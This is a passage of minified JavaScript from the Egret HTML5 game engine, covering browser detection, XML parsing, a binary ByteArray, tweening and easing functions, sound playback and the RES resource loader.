c=this.ua.match(/micromessenger|qqbrowser|mqqbrowser|ucbrowser|360browser|baidubrowser|maxthon|ie|opera|firefox/)||this.ua.match(/chrome|safari/);c&&0<c.length&&(c=c[0],"micromessenger"==c&&(this.type="wechat"),this.type=c);this.type="unknow";switch(this.type){case"firefox":this.pfx="Moz";this.isHD=!0;break;case"chrome":case"safari":this.pfx="webkit";this.isHD=!0;break;case"opera":this.pfx="O";this.isHD=!1;break;case"ie":this.pfx="ms";this.isHD=!1;break;default:this.pfx="webkit",this.isHD=!0}this.trans=this.pfx+"Transform"}__extends(d,e);d.getInstance=function(){null==d.instance&&(d.instance=new d);return d.instance};Object.defineProperty(d.prototype,"isMobile",{get:function(){a.Logger.warning("Browser.isMobile\u63a5\u53e3\u53c2\u6570\u5df2\u7ecf\u53d8\u66f4\uff0c\u8bf7\u5c3d\u5feb\u8c03\u6574\u7528\u6cd5\u4e3a egret.MainContext.deviceType == egret.MainContext.DEVICE_MOBILE ");return a.MainContext.deviceType==a.MainContext.DEVICE_MOBILE},enumerable:!0,configurable:!0});d.prototype.$new=function(c){return this.$(document.createElement(c))};d.prototype.$=function(c){var f=document;if(c=c instanceof HTMLElement?c:f.querySelector(c)){c.find=c.find||this.$,c.hasClass=c.hasClass||function(g){return this.className.match(new RegExp("(\\s|^)"+g+"(\\s|$)"))},c.addClass=c.addClass||function(g){this.hasClass(g)||(this.className&&(this.className+=" "),this.className+=g);return this},c.removeClass=c.removeClass||function(g){this.hasClass(g)&&(this.className=this.className.replace(g,""));return this},c.remove=c.remove||function(){},c.appendTo=c.appendTo||function(g){g.appendChild(this);return this},c.prependTo=c.prependTo||function(g){g.childNodes[0]?g.insertBefore(this,g.childNodes[0]):g.appendChild(this);return this},c.transforms=c.transforms||function(){this.style[d.getInstance().trans]=d.getInstance().translate(this.position)+d.getInstance().rotate(this.rotation)+d.getInstance().scale(this.scale)+d.getInstance().skew(this.skew);return this},c.position=c.position||{x:0,y:0},c.rotation=c.rotation||0,c.scale=c.scale||{x:1,y:1},c.skew=c.skew||{x:0,y:0},c.translates=function(h,g){this.position.x=h;this.position.y=g-a.MainContext.instance.stage.stageHeight;this.transforms();return this},c.rotate=function(g){this.rotation=g;this.transforms();return this},c.resize=function(h,g){this.scale.x=h;this.scale.y=g;this.transforms();return this},c.setSkew=function(h,g){this.skew.x=h;this.skew.y=g;this.transforms();return this}}return c};d.prototype.scale=function(c){return"scale("+c.x+", "+c.y+") "};d.prototype.skew=function(c){return"skewX("+-c.x+"deg) skewY("+c.y+"deg)"};return d}(a.HashObject);a.Browser=b;b.prototype.__class__="egret.Browser"})(egret||(egret={}));(function(a){(function(b){b.getItem=function(c){return null};b.setItem=function(d,c){};b.removeItem=function(c){};b.clear=function(){}})(a.localStorage||(a.localStorage={}))})(egret||(egret={}));(function(a){var b=function(){function d(){}d.parse=function(c){c=a.SAXParser.getInstance().parserXML(c);if(!c||!c.childNodes){return null}for(var e=c.childNodes.length,h=!1,g=0;g<e;g++){var f=c.childNodes[g];if(1==f.nodeType){h=!0;break}}return h?d.parseNode(f):null};d.parseNode=function(c){if(!c||1!=c.nodeType){return null}var f={};f.localName=c.localName;f.name=c.nodeName;c.namespaceURI&&(f.namespace=c.namespaceURI);c.prefix&&(f.prefix=c.prefix);for(var l=c.attributes,k=l.length,g=0;g<k;g++){var j=l[g],i=j.name;0!=i.indexOf("xmlns:")&&(f["$"+i]=j.value)}l=c.childNodes;k=l.length;for(g=0;g<k;g++){if(j=d.parseNode(l[g])){f.children||(f.children=[]),j.parent=f,f.children.push(j)}}!f.children&&(c=c.textContent.trim())&&(f.text=c);return f};d.findChildren=function(c,e,f){f?f.length=0:f=[];d.findByPath(c,e,f);return f};d.findByPath=function(c,f,n){var m=f.indexOf("."),i;-1==m?(i=f,m=!0):(i=f.substring(0,m),f=f.substring(m+1),m=!1);if(c=c.children){for(var l=c.length,j=0;j<l;j++){var k=c[j];k.localName==i&&(m?n.push(k):d.findByPath(k,f,n))}}};d.getAttributes=function(c,e){e?e.length=0:e=[];for(var f in c){"$"==f.charAt(0)&&e.push(f.substring(1))}return e};return d}();a.XML=b;b.prototype.__class__="egret.XML"})(egret||(egret={}));(function(b){var d=function(){function c(){}c.LITTLE_ENDIAN="LITTLE_ENDIAN";c.BIG_ENDIAN="BIG_ENDIAN";return c}();b.Endian=d;d.prototype.__class__="egret.Endian";var a=function(){function c(){this.length=this.position=0;this._mode="";this.maxlength=0;this._endian=d.LITTLE_ENDIAN;this.isLittleEndian=!1;this._mode="Typed array";this.maxlength=4;this.arraybytes=new ArrayBuffer(this.maxlength);this.unalignedarraybytestemp=new ArrayBuffer(16);this.endian=c.DEFAULT_ENDIAN}Object.defineProperty(c.prototype,"endian",{get:function(){return this._endian},set:function(e){this._endian=e;this.isLittleEndian=e==d.LITTLE_ENDIAN},enumerable:!0,configurable:!0});c.prototype.ensureWriteableSpace=function(e){this.ensureSpace(e+this.position)};c.prototype.setArrayBuffer=function(e){this.ensureSpace(e.byteLength);this.length=e.byteLength;e=new Int8Array(e);(new Int8Array(this.arraybytes,0,this.length)).set(e);this.position=0};Object.defineProperty(c.prototype,"bytesAvailable",{get:function(){return this.length-this.position},enumerable:!0,configurable:!0});c.prototype.ensureSpace=function(f){if(f>this.maxlength){f=f+255&-256;var g=new ArrayBuffer(f),e=new Uint8Array(this.arraybytes,0,this.length);(new Uint8Array(g,0,this.length)).set(e);this.arraybytes=g;this.maxlength=f}};c.prototype.writeByte=function(e){this.ensureWriteableSpace(1);(new Int8Array(this.arraybytes))[this.position++]=~~e;this.position>this.length&&(this.length=this.position)};c.prototype.readByte=function(){if(this.position>=this.length){throw"ByteArray out of bounds read. Positon="+this.position+", Length="+this.length}return(new Int8Array(this.arraybytes))[this.position++]};c.prototype.readBytes=function(g,i,f){"undefined"===typeof i&&(i=0);"undefined"===typeof f&&(f=0);null==f&&(f=g.length);g.ensureWriteableSpace(i+f);var h=new Int8Array(g.arraybytes),j=new Int8Array(this.arraybytes);h.set(j.subarray(this.position,this.position+f),i);this.position+=f;f+i>g.length&&(g.length+=f+i-g.length)};c.prototype.writeUnsignedByte=function(e){this.ensureWriteableSpace(1);(new Uint8Array(this.arraybytes))[this.position++]=~~e&255;this.position>this.length&&(this.length=this.position)};c.prototype.readUnsignedByte=function(){if(this.position>=this.length){throw"ByteArray out of bounds read. Positon="+this.position+", Length="+this.length}return(new Uint8Array(this.arraybytes))[this.position++]};c.prototype.writeUnsignedShort=function(e){this.ensureWriteableSpace(2);if(0==(this.position&1)){var f=new Uint16Array(this.arraybytes);f[this.position>>1]=~~e&65535}else{f=new Uint16Array(this.unalignedarraybytestemp,0,1),f[0]=~~e&65535,e=new Uint8Array(this.arraybytes,this.position,2),f=new Uint8Array(this.unalignedarraybytestemp,0,2),e.set(f)}this.position+=2;this.position>this.length&&(this.length=this.position)};c.prototype.readUTFBytes=function(h){var k="";h=this.position+h;for(var g=new DataView(this.arraybytes);this.position<h;){var j=g.getUint8(this.position++);if(128>j){if(0==j){break}k+=String.fromCharCode(j)}else{if(224>j){k+=String.fromCharCode((j&63)<<6|g.getUint8(this.position++)&127)}else{if(240>j){var l=g.getUint8(this.position++),k=k+String.fromCharCode((j&31)<<12|(l&127)<<6|g.getUint8(this.position++)&127)}else{var l=g.getUint8(this.position++),i=g.getUint8(this.position++),k=k+String.fromCharCode((j&15)<<18|(l&127)<<12|i<<6&127|g.getUint8(this.position++)&127)}}}}return k};c.prototype.readInt=function(){var e=(new DataView(this.arraybytes)).getInt32(this.position,this.isLittleEndian);this.position+=4;return e};c.prototype.readShort=function(){var e=(new DataView(this.arraybytes)).getInt16(this.position,this.isLittleEndian);this.position+=2;return e};c.prototype.readDouble=function(){var e=(new DataView(this.arraybytes)).getFloat64(this.position,this.isLittleEndian);this.position+=8;return e};c.prototype.readUnsignedShort=function(){if(this.position>this.length+2){throw"ByteArray out of bounds read. Position="+this.position+", Length="+this.length}if(0==(this.position&1)){var e=new Uint16Array(this.arraybytes),f=this.position>>1;this.position+=2;return e[f]}e=new Uint16Array(this.unalignedarraybytestemp,0,1);f=new Uint8Array(this.arraybytes,this.position,2);(new Uint8Array(this.unalignedarraybytestemp,0,2)).set(f);this.position+=2;return e[0]};c.prototype.writeUnsignedInt=function(e){this.ensureWriteableSpace(4);if(0==(this.position&3)){var f=new Uint32Array(this.arraybytes);f[this.position>>2]=~~e&4294967295}else{f=new Uint32Array(this.unalignedarraybytestemp,0,1),f[0]=~~e&4294967295,e=new Uint8Array(this.arraybytes,this.position,4),f=new Uint8Array(this.unalignedarraybytestemp,0,4),e.set(f)}this.position+=4;this.position>this.length&&(this.length=this.position)};c.prototype.readUnsignedInt=function(){if(this.position>this.length+4){throw"ByteArray out of bounds read. Position="+this.position+", Length="+this.length}if(0==(this.position&3)){var e=new Uint32Array(this.arraybytes),f=this.position>>2;this.position+=4;return e[f]}e=new Uint32Array(this.unalignedarraybytestemp,0,1);f=new Uint8Array(this.arraybytes,this.position,4);(new Uint8Array(this.unalignedarraybytestemp,0,4)).set(f);this.position+=4;return e[0]};c.prototype.writeFloat=function(e){this.ensureWriteableSpace(4);if(0==(this.position&3)){var f=new Float32Array(this.arraybytes);f[this.position>>2]=e}else{f=new Float32Array(this.unalignedarraybytestemp,0,1),f[0]=e,e=new Uint8Array(this.arraybytes,this.position,4),f=new Uint8Array(this.unalignedarraybytestemp,0,4),e.set(f)}this.position+=4;this.position>this.length&&(this.length=this.position)};c.prototype.readFloat=function(){if(this.position>this.length+4){throw"ByteArray out of bounds read. Positon="+this.position+", Length="+this.length}if(0==(this.position&3)){var e=new Float32Array(this.arraybytes),f=this.position>>2;this.position+=4;return e[f]}e=new Float32Array(this.unalignedarraybytestemp,0,1);f=new Uint8Array(this.arraybytes,this.position,4);(new Uint8Array(this.unalignedarraybytestemp,0,4)).set(f);this.position+=4;return e[0]};c.DEFAULT_ENDIAN=d.BIG_ENDIAN;return c}();b.ByteArray=a;a.prototype.__class__="egret.ByteArray"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f,g,c){e.call(this);this._target=null;this.loop=this.ignoreGlobalPause=this._useTicks=!1;this._actions=this._steps=this.pluginData=null;this.paused=!1;this.duration=0;this._prevPos=-1;this.position=null;this._stepPosition=this._prevPosition=0;this.passive=!1;this.initialize(f,g,c)}__extends(d,e);d.get=function(f,h,g,i){"undefined"===typeof h&&(h=null);"undefined"===typeof g&&(g=null);"undefined"===typeof i&&(i=!1);i&&d.removeTweens(f);return new d(f,h,g)};d.removeTweens=function(c){if(c.tween_count){for(var g=d._tweens,f=g.length-1;0<=f;f--){g[f]._target==c&&(g[f].paused=!0,g.splice(f,1))}c.tween_count=0}};d.tick=function(g,j){"undefined"===typeof j&&(j=!1);for(var i=d._tweens.concat(),k=i.length-1;0<=k;k--){var h=i[k];j&&!h.ignoreGlobalPause||h.paused||h.tick(h._useTicks?1:g)}};d._register=function(g,i){var j=g._target,h=d._tweens;if(i){j&&(j.tween_count=j.tween_count?j.tween_count+1:1),h.push(g),d._inited||(a.Ticker.getInstance().register(d.tick,null),d._inited=!0)}else{for(j&&j.tween_count--,j=h.length;j--;){if(h[j]==g){h.splice(j,1);break}}}};d.removeAllTweens=function(){for(var f=d._tweens,h=0,g=f.length;h<g;h++){var i=f[h];i.paused=!0;i._target.tweenjs_count=0}f.length=0};d.prototype.initialize=function(c,g,f){this._target=c;g&&(this._useTicks=g.useTicks,this.ignoreGlobalPause=g.ignoreGlobalPause,this.loop=g.loop,g.onChange&&this.addEventListener("change",g.onChange,g.onChangeObj),g.override&&d.removeTweens(c));this.pluginData=f||{};this._curQueueProps={};this._initQueueProps={};this._steps=[];this._actions=[];g&&g.paused?this.paused=!0:d._register(this,!0);g&&null!=g.position&&this.setPosition(g.position,d.NONE)};d.prototype.setPosition=function(i,m){"undefined"===typeof m&&(m=1);0>i&&(i=0);var h=i,l=!1;h>=this.duration&&(this.loop?h%=this.duration:(h=this.duration,l=!0));if(h==this._prevPos){return l}var n=this._prevPos;this.position=this._prevPos=h;this._prevPosition=i;if(this._target){if(l){this._updateTargetProps(null,1)}else{if(0<this._steps.length){for(var k=0,j=this._steps.length;k<j&&!(this._steps[k].t>h);k++){}k=this._steps[k-1];this._updateTargetProps(k,(this._stepPosition=h-k.t)/k.d)}}}0!=m&&0<this._actions.length&&(this._useTicks?this._runActions(h,h):1==m&&h<n?(n!=this.duration&&this._runActions(n,this.duration),this._runActions(0,h,!0)):this._runActions(n,h));l&&this.setPaused(!0);this.dispatchEventWith("change");return l};d.prototype._runActions=function(r,o,q){"undefined"===typeof q&&(q=!1);var n=r,p=o,m=-1,j=this._actions.length,i=1;for(r>o&&(n=o,p=r,m=j,j=i=-1);(m+=i)!=j;){o=this._actions[m];var h=o.t;(h==p||h>n&&h<p||q&&h==r)&&o.f.apply(o.o,o.p)}};d.prototype._updateTargetProps=function(w,u){var t,v,s,p;if(w||1!=u){if(this.passive=!!w.v){return}w.e&&(u=w.e(u,0,1,1));t=w.p0;v=w.p1}else{this.passive=!1,t=v=this._curQueueProps}for(var r in this._initQueueProps){null==(s=t[r])&&(t[r]=s=this._initQueueProps[r]);null==(p=v[r])&&(v[r]=p=s);s=s==p||0==u||1==u||"number"!=typeof s?1==u?p:s:s+(p-s)*u;var o=!1;if(p=d._plugins[r]){for(var n=0,j=p.length;n<j;n++){var i=p[n].tween(this,r,s,t,v,u,!!w&&t==v,!w);i==d.IGNORE?o=!0:s=i}}o||(this._target[r]=s)}};d.prototype.setPaused=function(c){this.paused=c;d._register(this,!c);return this};d.prototype._cloneProps=function(f){var g={},c;for(c in f){g[c]=f[c]}return g};d.prototype._addStep=function(c){0<c.d&&(this._steps.push(c),c.t=this.duration,this.duration+=c.d);return this};d.prototype._appendQueueProps=function(i){var n,m,o,l,j,k;for(k in i){if(void 0===this._initQueueProps[k]){m=this._target[k];if(n=d._plugins[k]){for(o=0,l=n.length;o<l;o++){m=n[o].init(this,k,m)}}this._initQueueProps[k]=this._curQueueProps[k]=void 0===m?null:m}}for(k in i){m=this._curQueueProps[k];if(n=d._plugins[k]){for(j=j||{},o=0,l=n.length;o<l;o++){n[o].step&&n[o].step(this,k,m,i[k],j)}}this._curQueueProps[k]=i[k]}j&&this._appendQueueProps(j);return this._curQueueProps};d.prototype._addAction=function(c){c.t=this.duration;this._actions.push(c);return this};d.prototype._set=function(f,g){for(var c in f){g[c]=f[c]}};d.prototype.wait=function(f,g){if(null==f||0>=f){return this}var c=this._cloneProps(this._curQueueProps);return this._addStep({d:f,p0:c,p1:c,v:g})};d.prototype.to=function(f,g,c){"undefined"===typeof c&&(c=void 0);if(isNaN(g)||0>g){g=0}return this._addStep({d:g||0,p0:this._cloneProps(this._curQueueProps),e:c,p1:this._cloneProps(this._appendQueueProps(f))})};d.prototype.call=function(f,g,c){"undefined"===typeof g&&(g=void 0);"undefined"===typeof c&&(c=void 0);return this._addAction({f:f,p:c?c:[],o:g?g:this._target})};d.prototype.set=function(c,f){"undefined"===typeof f&&(f=null);return this._addAction({f:this._set,o:this,p:[c,f?f:this._target]})};d.prototype.play=function(c){c||(c=this);return this.call(c.setPaused,c,[!1])};d.prototype.pause=function(c){c||(c=this);return this.call(c.setPaused,c,[!0])};d.prototype.tick=function(c){this.paused||this.setPosition(this._prevPosition+c)};d.NONE=0;d.LOOP=1;d.REVERSE=2;d._tweens=[];d.IGNORE={};d._plugins={};d._inited=!1;return d}(a.EventDispatcher);a.Tween=b;b.prototype.__class__="egret.Tween"})(egret||(egret={}));(function(a){var b=function(){function d(){a.Logger.fatal("Ease\u4e0d\u80fd\u88ab\u5b9e\u4f8b\u5316")}d.get=function(c){-1>c&&(c=-1);1<c&&(c=1);return function(e){return 0==c?e:0>c?e*(e*-c+1+c):e*((2-e)*c+(1-c))}};d.getPowIn=function(c){return function(e){return Math.pow(e,c)}};d.getPowOut=function(c){return function(e){return 1-Math.pow(1-e,c)}};d.getPowInOut=function(c){return function(e){return 1>(e*=2)?0.5*Math.pow(e,c):1-0.5*Math.abs(Math.pow(2-e,c))}};d.sineIn=function(c){return 1-Math.cos(c*Math.PI/2)};d.sineOut=function(c){return Math.sin(c*Math.PI/2)};d.sineInOut=function(c){return -0.5*(Math.cos(Math.PI*c)-1)};d.getBackIn=function(c){return function(e){return e*e*((c+1)*e-c)}};d.getBackOut=function(c){return function(e){e-=1;return e*e*((c+1)*e+c)+1}};d.getBackInOut=function(c){c*=1.525;return function(e){return 1>(e*=2)?0.5*e*e*((c+1)*e-c):0.5*((e-=2)*e*((c+1)*e+c)+2)}};d.circIn=function(c){return -(Math.sqrt(1-c*c)-1)};d.circOut=function(c){return Math.sqrt(1-c*c)};d.circInOut=function(c){return 1>(c*=2)?-0.5*(Math.sqrt(1-c*c)-1):0.5*(Math.sqrt(1-(c-=2)*c)+1)};d.bounceIn=function(c){return 1-d.bounceOut(1-c)};d.bounceOut=function(c){return c<1/2.75?7.5625*c*c:c<2/2.75?7.5625*(c-=1.5/2.75)*c+0.75:c<2.5/2.75?7.5625*(c-=2.25/2.75)*c+0.9375:7.5625*(c-=2.625/2.75)*c+0.984375};d.bounceInOut=function(c){return 0.5>c?0.5*d.bounceIn(2*c):0.5*d.bounceOut(2*c-1)+0.5};d.getElasticIn=function(c,e){var f=2*Math.PI;return function(h){if(0==h||1==h){return h}var g=e/f*Math.asin(1/c);return -(c*Math.pow(2,10*(h-=1))*Math.sin((h-g)*f/e))}};d.getElasticOut=function(c,e){var f=2*Math.PI;return function(h){if(0==h||1==h){return h}var g=e/f*Math.asin(1/c);return c*Math.pow(2,-10*h)*Math.sin((h-g)*f/e)+1}};d.getElasticInOut=function(c,e){var f=2*Math.PI;return function(h){var g=e/f*Math.asin(1/c);return 1>(h*=2)?-0.5*c*Math.pow(2,10*(h-=1))*Math.sin((h-g)*f/e):c*Math.pow(2,-10*(h-=1))*Math.sin((h-g)*f/e)*0.5+1}};d.quadIn=d.getPowIn(2);d.quadOut=d.getPowOut(2);d.quadInOut=d.getPowInOut(2);d.cubicIn=d.getPowIn(3);d.cubicOut=d.getPowOut(3);d.cubicInOut=d.getPowInOut(3);d.quartIn=d.getPowIn(4);d.quartOut=d.getPowOut(4);d.quartInOut=d.getPowInOut(4);d.quintIn=d.getPowIn(5);d.quintOut=d.getPowOut(5);d.quintInOut=d.getPowInOut(5);d.backIn=d.getBackIn(1.7);d.backOut=d.getBackOut(1.7);d.backInOut=d.getBackInOut(1.7);d.elasticIn=d.getElasticIn(1,0.3);d.elasticOut=d.getElasticOut(1,0.3);d.elasticInOut=d.getElasticInOut(1,0.3*1.5);return d}();a.Ease=b;b.prototype.__class__="egret.Ease"})(egret||(egret={}));(function(a){var b=function(){function d(){this.type=d.EFFECT}d.prototype.play=function(c){"undefined"===typeof c&&(c=!1);var e=this.audio;e&&(isNaN(e.duration)||(e.currentTime=0),e.loop=c,e.play())};d.prototype.pause=function(){var c=this.audio;c&&c.pause()};d.prototype.load=function(){var c=this.audio;c&&c.load()};d.prototype.addEventListener=function(c,e){this.audio&&this.audio.addEventListener(c,e,!1)};d.prototype.removeEventListener=function(c,e){this.audio&&this.audio.removeEventListener(c,e,!1)};d.prototype.setVolume=function(c){var e=this.audio;e&&(e.volume=c)};d.prototype.getVolume=function(){return this.audio?this.audio.volume:0};d.prototype.preload=function(c){this.type=c};d.prototype._setAudio=function(c){this.audio=c};d.MUSIC="music";d.EFFECT="effect";return d}();a.Sound=b;b.prototype.__class__="egret.Sound"})(egret||(egret={}));(function(a){var b=function(){function d(){}d.isNumber=function(c){return"number"===typeof c&&!isNaN(c)};return d}();a.NumberUtils=b;b.prototype.__class__="egret.NumberUtils"})(egret||(egret={}));var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d},RES;(function(a){var b=function(e){function d(f,g,c){"undefined"===typeof g&&(g=!1);"undefined"===typeof c&&(c=!1);e.call(this,f,g,c);this.itemsTotal=this.itemsLoaded=0}__extends(d,e);d.dispatchResourceEvent=function(i,n,o,m,l,j){"undefined"===typeof o&&(o="");"undefined"===typeof m&&(m=null);"undefined"===typeof l&&(l=0);"undefined"===typeof j&&(j=0);var k=egret.Event._getPropertyData(d);k.groupName=o;k.resItem=m;k.itemsLoaded=l;k.itemsTotal=j;egret.Event._dispatchByTarget(d,i,n,k)};d.ITEM_LOAD_ERROR="itemLoadError";d.CONFIG_COMPLETE="configComplete";d.GROUP_PROGRESS="groupProgress";d.GROUP_COMPLETE="groupComplete";return d}(egret.Event);a.ResourceEvent=b;b.prototype.__class__="RES.ResourceEvent"})(RES||(RES={}));(function(a){var b=function(){function d(c,e,f){this._loaded=!1;this.name=c;this.url=e;this.type=f}Object.defineProperty(d.prototype,"loaded",{get:function(){return this.data?this.data.loaded:this._loaded},set:function(c){this.data&&(this.data.loaded=c);this._loaded=c},enumerable:!0,configurable:!0});d.prototype.toString=function(){return'[ResourceItem name="'+this.name+'" url="'+this.url+'" type="'+this.type+'"]'};d.TYPE_XML="xml";d.TYPE_IMAGE="image";d.TYPE_BIN="bin";d.TYPE_TEXT="text";d.TYPE_JSON="json";d.TYPE_SHEET="sheet";d.TYPE_FONT="font";d.TYPE_SOUND="sound";return d}();a.ResourceItem=b;b.prototype.__class__="RES.ResourceItem"})(RES||(RES={}));(function(a){var b=function(){function d(){this.keyMap={};this.groupDic={}}d.prototype.getGroupByName=function(e){var f=[];if(!this.groupDic[e]){return f}e=this.groupDic[e];for(var g=e.length,h=0;h<g;h++){f.push(this.parseResourceItem(e[h]))}return f};d.prototype.getRawGroupByName=function(c){return this.groupDic[c]?this.groupDic[c]:[]};d.prototype.createGroup=function(s,t,q){"undefined"===typeof q&&(q=!1);if(!q&&this.groupDic[s]||!t||0==t.length){return !1}q=this.groupDic;for(var r=[],p=t.length,o=0;o<p;o++){var m=t[o],n=q[m];if(n){for(var m=n.length,j=0;j<m;j++){var i=n[j];-1==r.indexOf(i)&&r.push(i)}}else{(i=this.keyMap[m])&&-1==r.indexOf(i)&&r.push(i)}}if(0==r.length){return !1}this.groupDic[s]=r;return !0};d.prototype.parseConfig=function(u,v){if(u){var s=u.resources;if(s){for(var t=s.length,r=0;r<t;r++){var q=s[r],o=q.url;o&&-1==o.indexOf("://")&&(q.url=v+o);this.addItemToKeyMap(q)}}if(s=u.groups){for(t=s.length,r=0;r<t;r++){for(var o=s[r],p=[],n=o.keys.split(","),j=n.length,i=0;i<j;i++){q=n[i].trim(),(q=this.keyMap[q])&&-1==p.indexOf(q)&&p.push(q)}this.groupDic[o.name]=p}}}};d.prototype.addItemToKeyMap=function(f){this.keyMap[f.name]||(this.keyMap[f.name]=f);if(f.hasOwnProperty("subkeys")){var g=f.subkeys.split(",");f.subkeys=g;for(var i=g.length,j=0;j<i;j++){var h=g[j];null==this.keyMap[h]&&(this.keyMap[h]=f)}}};d.prototype.getName=function(c){return(c=this.keyMap[c])?c.name:""};d.prototype.getType=function(c){return(c=this.keyMap[c])?c.type:""};d.prototype.getRawResourceItem=function(c){return this.keyMap[c]};d.prototype.getResourceItem=function(c){return(c=this.keyMap[c])?this.parseResourceItem(c):null};d.prototype.parseResourceItem=function(c){var e=new a.ResourceItem(c.name,c.url,c.type);e.data=c;return e};return d}();a.ResourceConfig=b;b.prototype.__class__="RES.ResourceConfig"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this.thread=2;this.loadingCount=0;this.groupTotalDic={};this.numLoadedDic={};this.itemListDic={};this.priorityQueue={};this.lazyLoadList=[];this.analyzerDic={};this.queueIndex=0}__extends(d,e);d.prototype.isGroupInLoading=function(c){return void 0!==this.itemListDic[c]};d.prototype.loadGroup=function(g,h,f){"undefined"===typeof f&&(f=0);if(!this.itemListDic[h]&&h){if(g&&0!=g.length){this.priorityQueue[f]?this.priorityQueue[f].push(h):this.priorityQueue[f]=[h];this.itemListDic[h]=g;f=g.length;for(var i=0;i<f;i++){g[i].groupName=h}this.groupTotalDic[h]=g.length;this.numLoadedDic[h]=0;this.next()}else{g=new a.ResourceEvent(a.ResourceEvent.GROUP_COMPLETE),g.groupName=h,this.dispatchEvent(g)}}};d.prototype.loadItem=function(c){this.lazyLoadList.push(c);c.groupName="";this.next()};d.prototype.next=function(){for(;this.loadingCount<this.thread;){var c=this.getOneResourceItem();if(!c){break}this.loadingCount++;if(c.loaded){this.onItemComplete(c)}else{var f=this.analyzerDic[c.type];f||(f=this.analyzerDic[c.type]=egret.Injector.getInstance(a.AnalyzerBase,c.type));f.loadFile(c,this.onItemComplete,this)}}};d.prototype.getOneResourceItem=function(){var g=Number.NEGATIVE_INFINITY,h;for(h in this.priorityQueue){g=Math.max(g,h)}g=this.priorityQueue[g];if(!g||0==g.length){return 0==this.lazyLoadList.length?null:this.lazyLoadList.pop()}h=g.length;for(var f,i=0;i<h;i++){this.queueIndex>=h&&(this.queueIndex=0);f=this.itemListDic[g[this.queueIndex]];if(0<f.length){break}this.queueIndex++}return 0==f.length?null:f.shift()};d.prototype.onItemComplete=function(g){this.loadingCount--;var h=g.groupName;g.loaded||a.ResourceEvent.dispatchResourceEvent(this.resInstance,a.ResourceEvent.ITEM_LOAD_ERROR,h,g);if(h){this.numLoadedDic[h]++;var f=this.numLoadedDic[h],i=this.groupTotalDic[h];a.ResourceEvent.dispatchResourceEvent(this.resInstance,a.ResourceEvent.GROUP_PROGRESS,h,g,f,i);f==i&&(this.removeGroupName(h),delete this.groupTotalDic[h],delete this.numLoadedDic[h],delete this.itemListDic[h],a.ResourceEvent.dispatchResourceEvent(this,a.ResourceEvent.GROUP_COMPLETE,h))}else{this.callBack.call(this.resInstance,g)}this.next()};d.prototype.removeGroupName=function(i){for(var m in this.priorityQueue){for(var h=this.priorityQueue[m],n=h.length,l=0,k=!1,n=h.length,j=0;j<n;j++){if(h[j]==i){h.splice(l,1);k=!0;break}l++}if(k){0==h.length&&delete this.priorityQueue[m];break}}};return d}(egret.EventDispatcher);a.ResourceLoader=b;b.prototype.__class__="RES.ResourceLoader"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this)}__extends(d,e);d.prototype.loadFile=function(f,g,c){};d.prototype.getRes=function(c){};d.prototype.destroyRes=function(c){return !1};d.getStringPrefix=function(c){if(!c){return""}var f=c.indexOf(".");return -1!=f?c.substring(0,f):""};d.getStringTail=function(c){if(!c){return""}var f=c.indexOf(".");return -1!=f?c.substring(f+1):""};return d}(egret.HashObject);a.AnalyzerBase=b;b.prototype.__class__="RES.AnalyzerBase"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this.fileDic={};this.resItemDic=[];this._dataFormat=egret.URLLoaderDataFormat.BINARY;this.recycler=new egret.Recycler}__extends(d,e);d.prototype.loadFile=function(g,h,f){if(this.fileDic[g.name]){h.call(f,g)}else{var i=this.getLoader();this.resItemDic[i.hashCode]={item:g,func:h,thisObject:f};i.load(new egret.URLRequest(g.url))}};d.prototype.getLoader=function(){var c=this.recycler.pop();c||(c=new egret.URLLoader,c.addEventListener(egret.Event.COMPLETE,this.onLoadFinish,this),c.addEventListener(egret.IOErrorEvent.IO_ERROR,this.onLoadFinish,this));c.dataFormat=this._dataFormat;return c};d.prototype.onLoadFinish=function(g){var i=g.target,f=this.resItemDic[i.hashCode];delete this.resItemDic[i.hashCode];this.recycler.push(i);var j=f.item,h=f.func;j.loaded=g.type==egret.Event.COMPLETE;j.loaded&&this.analyzeData(j,i.data);h.call(f.thisObject,j)};d.prototype.analyzeData=function(f,g){var c=f.name;!this.fileDic[c]&&g&&(this.fileDic[c]=g)};d.prototype.getRes=function(c){return this.fileDic[c]};d.prototype.hasRes=function(c){return null!=this.getRes(c)};d.prototype.destroyRes=function(c){return this.fileDic[c]?(delete this.fileDic[c],!0):!1};return d}(a.AnalyzerBase);a.BinAnalyzer=b;b.prototype.__class__="RES.BinAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._dataFormat=egret.URLLoaderDataFormat.TEXTURE}__extends(d,e);d.prototype.analyzeData=function(f,g){var c=f.name;!this.fileDic[c]&&g&&(this.fileDic[c]=g,(c=f.data)&&c.scale9grid&&(c=c.scale9grid.split(","),g.scale9Grid=new egret.Rectangle(parseInt(c[0]),parseInt(c[1]),parseInt(c[2]),parseInt(c[3]))))};return d}(a.BinAnalyzer);a.ImageAnalyzer=b;b.prototype.__class__="RES.ImageAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._dataFormat=egret.URLLoaderDataFormat.TEXT}__extends(d,e);d.prototype.analyzeData=function(g,h){var 